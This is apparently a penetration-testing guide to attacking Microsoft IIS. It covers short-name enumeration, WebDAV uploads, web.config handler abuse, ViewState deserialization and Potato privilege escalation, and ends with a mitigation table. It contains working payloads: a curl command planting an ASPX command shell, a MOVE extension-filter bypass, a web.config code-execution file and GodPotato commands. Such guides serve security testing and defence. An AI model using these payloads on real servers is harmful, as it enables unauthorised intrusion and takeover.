Microsoft IIS
On this page
Internet Information Services (IIS) for Windows Server is a flexible, secure and manageable Web server for hosting anything on the Web. From media streaming to web applications, IIS’s scalable and open architecture is ready to handle the most demanding tasks.
2025–2026 context: IIS remains a live attack surface not because of the web server itself, but because of legacy Windows filesystem features it exposes, misconfigured WebDAV, and the ASP.NET ViewState/machineKey ecosystem. The tilde (8.3 short name) disclosure is still being assigned CVEs in 2025 — CVE-2025-46294 covers FileMaker Server’s implementation, rated CVSS 5.3 (CWE-200) — and the real impact is what those short names reveal: hidden upload endpoints, backup files, and configuration files that standard directory brute-forcing never finds.
1. Fingerprinting IIS
| Signal | What it tells you |
|---|---|
Server: Microsoft-IIS/10.0 header | Version string — frequently accurate |
X-Powered-By: ASP.NET | ASP.NET is in use — ViewState may be present |
X-AspNet-Version | .NET runtime version |
OPTIONS response | Lists allowed methods — PUT, MOVE, PROPFIND indicate WebDAV |
/aspnet_client/ | Default IIS directory — confirms ASP.NET |
| Error page format | IIS 500 errors have a distinctive Server Error in '/' Application layout |
Version banners are not the whole story. IIS 10.0 spans Windows Server 2016 through 2025, and the patch level — not the banner — determines which CVEs apply.
2. Tilde (8.3 Short Name) Enumeration
2.1 What the vulnerability is
Windows NTFS generates an 8.3 short filename for every file or directory whose long name exceeds the 8.3 format (8-character name + 3-character extension). IIS resolves these short names in HTTP requests, which means an unauthenticated attacker can send a wildcard request like *~1* and learn whether a matching file or directory exists .
The impact is disclosure, not execution — but the disclosed names frequently point to the exact files that enable execution:
- Hidden upload endpoints that standard directory brute-forcing never finds
- Backup files (
web.config~,backup.zip,db.sql) - Configuration files with credentials
- Maintenance scripts left in the webroot
CVE-2025-46294 assigned this issue to FileMaker Server < 22.0.4 with CVSS 5.3 (CWE-200). The fix was not a code change — it was an installer option that sets
NtfsDisable8dot3NameCreationin the Windows registry . This is the canonical mitigation for the entire class.
2.2 Manual confirmation
# A request to a directory that exists returns a redirect or a specific error
curl -I "http://target/~s"
# A directory that does not exist returns 404
curl -I "http://target/~x"
A 200, 301, or 302 for ~<letter> confirms that a short name beginning with that letter exists. Enumerating the full name is a character-by-character process — this is what the tools automate.
IIS 7+ patches changed the behaviour. The original algorithm from Soroush Dalili and Ali Abbasi (2012) has been hardened in stages, and the enumeration logic differs between IIS 6, IIS 7.x, IIS 8.x, and IIS 10.
shortscanandsnsimplement the per-version logic — do not assume a manual technique that works on one version works on another.
2.3 Tooling
| Tool | Language | Notes |
|---|---|---|
shortscan (bitquark) | Go | The reference implementation — character set walking, recursion into subdirectories, checksum-matching to recover the full long filename from the short name, --isvuln quick check, JSON output |
shortscan-enhanced (DFC302) | Go | Fork of shortscan — stdin support (cat targets.txt | shortscan-enhanced), per-domain scan timeout (--scan-timeout 5m), automatic result organisation (--save-dir ./results), and the shortutil rainbow-table generator |
sns (sw33tLie) | Go | Lightweight IIS shortname scanner — single binary, sns -u https://example.com/ |
IIS-ShortName-Scanner (irsdl) | Java | The original — requires Oracle Java |
iis_gen (nemmusu) | Python | Generates ad-hoc wordlists of filename guesses for the discovered fragments |
shortscan quick reference:
# Single target — full enumeration
shortscan http://target.example
# Vulnerability check only — bail as soon as it knows
shortscan http://target.example --isvuln
# JSON output
shortscan http://target.example --output json
# Use a rainbow table generated by shortutil
shortscan http://target.example --wordlist rainbow.txt
# Multiple targets from a file
shortscan @targets.txt
# Stabilise against an inconsistent server
shortscan http://target.example --stabilise --patience 1
shortscan-enhanced quick reference:
# Pipe domains from stdin
cat targets.txt | shortscan-enhanced
# Quick vulnerability check with a 2-minute per-domain timeout
cat targets.txt | shortscan-enhanced --scan-timeout 2m -V
# Save vulnerable results automatically
cat targets.txt | shortscan-enhanced --save-dir ./results
# Generate a rainbow table for better filename recovery
shortutil wordlist custom.txt > rainbow.txt
shortscan-enhanced -w rainbow.txt example.com
sns quick reference:
sns -u https://example.com/
The checksum trick is the key differentiator.
shortscanuses Windows’ proprietary short-name collision-avoidance checksum to attempt to reconstruct the full long filename from the discovered short name — not just the 8.3 fragment . This is why it recoversSecretDocumentsfromSECRET~1, not justSECRET~1.
2.4 What to do with the results
The recovered names are inputs to content discovery, not the end of the engagement:
- Feed the fragments into a directory fuzzer —
ffuforferoxbusterwith the recovered name as a seed. - Check for backup extensions —
web.config~,web.config.bak,backup.zip,db.sql. - Look for the upload endpoint — HTB Bounty’s path was found only through shortscan, not through standard brute-forcing .
- Retrieve
web.configif it is reachable — themachineKeyvalidation and decryption keys inside it enable ViewState deserialization RCE .
3. WebDAV Exploitation
WebDAV extends HTTP with PUT, MOVE, COPY, PROPFIND, MKCOL, and LOCK. When IIS has WebDAV enabled and writable, it is a direct file-write primitive.
3.1 Enumerate
# OPTIONS lists the allowed methods
curl -X OPTIONS http://target/ -i
# If PUT and MOVE appear, WebDAV is active
3.2 davtest — map executable extensions
davtest -url http://target/
davtest uploads a test file for each extension, then requests it to check whether it executes server-side. The two signals are separate:
| Signal | Meaning |
|---|---|
| PUT SUCCEED | The server accepted the file |
| EXECUTE SUCCEED | IIS ran the file through the ASP.NET handler |
If PUT succeeds for .aspx and EXECUTE succeeds, upload a shell directly. If PUT fails for .aspx but succeeds for .txt, use the MOVE bypass .
3.3 Direct ASPX upload
curl -sk -X PUT http://target/shell.aspx \
-d '<%@ Page Language="C#" %><% Response.Write(System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd()); %>'
A 201 Created response confirms the file is on disk. Query it immediately to verify execution.
The shell runs as the application pool identity —
IIS APPPOOL\DefaultAppPoolon a default configuration, which is low privilege but frequently holdsSeImpersonatePrivilege— the Potato-attack primitive .
3.4 MOVE bypass
When direct .aspx upload is blocked but .txt is accepted:
# Upload the payload as .txt
curl -X PUT http://target/shell.txt --data-binary @shell.aspx
# Rename it to .aspx with MOVE
curl -X MOVE http://target/shell.txt \
-H "Destination: http://target/shell.aspx"
The MOVE method bypasses extension filters that only inspect the PUT request .
3.5 Legacy WebDAV RCE — CVE-2017-7269
IIS 6.0 with WebDAV enabled is vulnerable to a buffer overflow in ScStoragePathFromUrl, exploitable with a single PROPFIND request . It remains relevant on unpatched legacy hosts and is a standard Metasploit module.
4. web.config Upload → RCE
IIS reads web.config from the directory it serves. If an attacker can upload a web.config, they can register a custom handler that executes inline ASP code.
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*"
modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified"
requireAccess="Write"
preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!-- ASP code here -->
<% Response.write(1+2) %>
The
web.configis a handler registration, not just a config tweak. Once the handler is registered, the file itself contains executable ASP content — and IIS serves it.
Real-world 2025 example — CVE-2025-69828 (TMS Management Console): the logo upload function accepted .svg but not .config; intercepting the request and changing the filename to web.config with the payload above achieved code execution.
5. ViewState Deserialization
ASP.NET Web Forms serialize page state into a Base64-encoded __VIEWSTATE field. If the machineKey validation and decryption keys are known, an attacker can forge a malicious ViewState payload that deserializes into arbitrary code execution.
5.1 The chain
- Retrieve
web.config— through LFI, a path traversal, a shortscan-discovered backup, or an unauthenticated .NET Remoting file-read (CVE-2026-26333) . - Extract the
machineKey—validationKeyanddecryptionKey. - Generate a ViewState payload —
ysoserial.netwith the-p ViewStateplugin. - Submit it — the server deserializes the forged ViewState and executes the payload .
5.2 CVE-2026-26333 — VeraSMART
Calero VeraSMART versions prior to 2022 R1 expose an unauthenticated .NET Remoting service on TCP port 8001. The service publishes default ObjectURIs (EndeavorServer.rem, RemoteFileReceiver.rem) and permits SOAP and binary formatters with TypeFilterLevel set to Full .
- Arbitrary file read via the
WebClientclass → retrieveWebRoot\web.config. - Extract
machineKey→ forge a malicious ViewState payload → RCE in the IIS application context. - UNC path → outbound SMB authentication from the service account → NTLMv2 hash for relay or offline cracking .
5.3 Hardcoded machineKey
A 2026 Mandiant report found that a vendor’s standardized web.config across all customer deployments contained the same encryption and validation keys before 24 February 2026. Extracting the key from any one installation was sufficient to forge ViewState payloads against every customer .
The lesson: a leaked
machineKeyis not a per-instance finding — if the key is hardcoded, it is a product-wide RCE primitive.
6. Notable IIS CVEs (2025–2026)
| CVE | Severity | Primitive | Affected |
|---|---|---|---|
| CVE-2026-20929 | Critical | Improper access control in HTTP.sys — remote attacker sends crafted packets and executes arbitrary code with SYSTEM privileges | IIS |
| CVE-2026-78459 | High | Heap-based buffer overflow — authorized attacker elevates privileges locally on the IIS host | Windows IIS |
| CVE-2026-26333 | Critical | Unauthenticated .NET Remoting → arbitrary file read → web.config → machineKey → ViewState RCE | VeraSMART < 2022 R1 |
| CVE-2025-46294 | 5.3 (Medium) | IIS shortname enumeration — tilde disclosure of hidden files/directories | FileMaker Server < 22.0.4 |
| CVE-2025-33073 | High | NTLM reflection — any domain user → SYSTEM on hosts without SMB signing; frequently reached through an IIS web shell | Windows / IIS |
| CVE-2017-7269 | Critical | WebDAV PROPFIND buffer overflow — unauthenticated RCE | IIS 6.0 with WebDAV |
CVE-2026-20929 is the IIS-layer equivalent of a wormable HTTP.sys bug — SYSTEM-level RCE from a remote, unauthenticated packet. It belongs in the same category as CVE-2015-1635 (HTTP.sys RCE) and CVE-2021-31166 (HTTP.sys wormable UAF).
7. Beyond the Web Server — Application Pool Identity
An IIS web shell lands as the application pool identity, which is low privilege but holds SeImpersonatePrivilege by default — the same privilege that makes a Potato attack work .
| Privilege | Source | Escalation |
|---|---|---|
SeImpersonatePrivilege | IIS app pool, SQL Server service accounts | GodPotato / SigmaPotato / PrintSpoofer → SYSTEM |
SeAssignPrimaryToken | Some service accounts | Same Potato family |
SeDebug | Misconfigured service accounts | LSASS dump |
SeBackup | Backup Operators | Read any file → SAM / NTDS.dit |
whoami /priv
:: If SeImpersonatePrivilege is present:
.\GodPotato.exe -cmd "cmd /c whoami"
This is the single most common IIS-to-SYSTEM path — the web shell is low privilege, but the token it holds is one Potato away from SYSTEM .
8. Testing Methodology
1. Fingerprint IIS
- Server header, X-Powered-By, X-AspNet-Version
- OPTIONS → WebDAV methods (PUT, MOVE, PROPFIND)
2. Tilde enumeration
- shortscan http://target --isvuln
- Full scan: shortscan http://target
- Feed fragments into ffuf / feroxbuster
- Look for: upload endpoints, web.config, backups, .sql, .zip
3. WebDAV
- davtest -url http://target/
- PUT .aspx → EXECUTE?
- PUT .txt → MOVE → .aspx?
- Legacy IIS 6.0 → CVE-2017-7269
4. web.config
- Upload if any file-write primitive exists
- Read it if any file-read primitive exists
- Extract machineKey → ViewState RCE
5. ViewState
- ysoserial.net -p ViewState
- Submit the forged __VIEWSTATE
6. Application pool identity
- whoami /priv
- SeImpersonate → GodPotato / SigmaPotato
- SeDebug → LSASS dump
7. Patch level
- CVE-2026-20929 (HTTP.sys)
- CVE-2026-78459 (heap overflow)
- CVE-2025-33073 (NTLM reflection)
9. Mitigation (Defender Perspective)
| Control | How |
|---|---|
| Disable 8.3 name creation | NtfsDisable8dot3NameCreation = 1 in HKLM\SYSTEM\CurrentControlSet\Control\FileSystem, then reboot . This is the only fix for the tilde vulnerability — it is a filesystem feature, not an IIS bug |
fsutil per-volume | fsutil 8dot3name set C: 1 — disables short names on the C: volume |
| Remove WebDAV | Uninstall the WebDAV module if it is not required |
Disable PUT/MOVE | If WebDAV is required, restrict write methods to authenticated users |
Deny web.config uploads | Extension filter and <hiddenSegments> for .config |
Rotate machineKey | Never ship a hardcoded key; rotate on compromise |
| Patch HTTP.sys | CVE-2026-20929 is a remote SYSTEM RCE — patch immediately |
| Least privilege | Run the app pool as a low-privilege identity; do not grant SeImpersonate beyond what is required |
| Disable NTLM | Where possible — closes the CVE-2025-33073 reflection path |
10. Field Notes
- Tilde enumeration is a disclosure bug, not an execution bug — but the disclosed names are how you find the upload endpoint, the backup, and the
web.configthat lead to execution. shortscanis the reference tool;snsis the lightweight alternative.shortscan-enhancedadds stdin, per-domain timeouts, and result organisation for large scopes .- The checksum matching is what recovers the full long name — not just the 8.3 fragment. This is why
shortscanfindsSecretDocumentsfromSECRET~1. - Feed the fragments into a fuzzer — the short name is a seed, not the answer.
davtestseparates PUT from EXECUTE. A successful upload that does not execute is not a shell.- The MOVE bypass beats an extension filter that only inspects
PUT. web.configis a handler registration — uploading it is RCE, not just a config change.machineKeyis the ViewState RCE key. Readweb.configby any means, then forge a payload withysoserial.net.- A hardcoded
machineKeyis a product-wide vulnerability, not a per-instance one . - The IIS app pool holds
SeImpersonatePrivilege— a Potato is the shortest path from a web shell to SYSTEM . - CVE-2026-20929 is a remote SYSTEM RCE in HTTP.sys — patch it first if the target is unpatched.